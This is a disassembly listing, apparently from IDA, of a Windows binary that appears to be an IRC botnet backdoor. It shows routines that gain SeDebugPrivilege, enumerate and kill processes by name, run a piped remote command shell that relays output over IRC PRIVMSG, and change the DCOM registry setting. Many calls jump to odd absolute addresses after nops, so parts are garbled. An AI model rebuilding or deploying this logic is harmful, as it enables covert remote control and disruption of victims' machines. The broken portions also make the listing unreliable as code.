		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 2740708h
		nop
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2680157h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 2850000h
		nop
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		nop
		call	near ptr 27309D5h
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 27309D5h
		nop
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26A02EBh
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 27309D5h
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2680157h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 6096E800h, 0EB900228h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 26A0000h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		call	near ptr 28509DDh
		nop
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		nop
		call	near ptr 285048Ah
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		nop
		call	near ptr 26A0000h
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 2711089h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 2700000h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2680493h
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 26A0060h
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2700000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
